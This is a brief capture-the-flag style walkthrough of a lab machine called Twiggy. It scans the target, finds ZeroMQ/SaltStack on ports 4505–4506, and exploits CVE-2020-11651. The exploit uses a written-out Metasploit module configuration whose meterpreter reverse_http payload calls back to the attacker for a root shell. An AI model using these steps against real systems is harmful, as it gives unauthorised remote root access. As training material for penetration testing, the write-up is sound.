# Twiggy

## nmap

```
mkdir nmap
sudo rustscan -a 192.168.234.62 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan     
```

ZeroMQ is running on port `4505` and `4506`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkT-y6pCsDyqVJ3QfKm%2F-MkT0UFVORmfJOtECOUp%2Fimage.png?alt=media&#x26;token=c1139327-676a-497b-82ce-2fa3aa826b35" alt=""></div>

After some Googlefu, I found this service is vulnerable to a Remote Code Execution (CVE-2020-11651)

## Exploitation

Open `msfconsole` and search for `cve-2020-11651`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkT-y6pCsDyqVJ3QfKm%2F-MkT1izJAWzaAYsoLh62%2Fimage.png?alt=media&#x26;token=1d04700e-b97d-4e7a-ae21-a4801b101334" alt=""></div>

Let's choose `#1` exploit, and set the necessary variables

```
use exploit/linux/misc/saltstack_salt_unauth_rce
set rhost <target>
set lhost tun0
set lport 4506
set srvhost tun0
set srvport 4506
set payload python/meterpreter/reverse_http
run
```

After running the exploit you should receive a root meterpreter.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkT-y6pCsDyqVJ3QfKm%2F-MkT2Qu-mtbANc-sOG65%2Fimage.png?alt=media&#x26;token=daa6c8bd-31d1-464d-a225-9f58bbbd9df2" alt=""></div>

